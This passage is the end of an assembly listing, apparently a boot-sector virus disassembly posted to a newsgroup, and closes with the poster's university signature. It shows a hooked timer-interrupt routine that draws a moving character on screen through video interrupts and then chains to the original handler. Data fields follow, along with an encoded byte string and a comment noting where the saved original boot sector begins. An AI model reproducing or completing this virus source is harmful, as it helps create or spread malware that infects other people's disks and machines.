JNZ VIDEO_10 ; BRANCH IF NOT
|
|
MOV BL,83H ; WRITE MODE FOR GRAPHICS
|
|
VIDEO_10:
|
|
MOV CX,1 ; ONCE ONLY
|
|
MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
|
|
INT 10H ; VDU INTERRUPT
|
|
POP DX ; RESTORE CURSOR ADDRESS
|
|
MOV AH,2 ; SET CURSOR ADDRESS
|
|
INT 10H ; VDU INTERRUPT
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
POP DS
|
|
DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
|
|
DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
|
|
DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
|
|
|
|
DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
|
|
DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
|
|
DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
|
|
DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
|
|
DW 3 ; MODEAP - MODE AND ACTIVE PAGE
|
|
DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
|
|
|
|
|
|
DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
|
|
DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
|
|
DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
|
|
DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
|
|
DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
|
|
|
|
; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
|
|
|
|
CODE ENDS
|
|
|
|
END START
|
|
|
|
|
|
|
|
|
|
|
|
|
|
--
|
|
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
|
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
|
Student at the Northeatstern University College of Computer Science
|
|
"I Can't Believe It's Not Butter"
|
|
|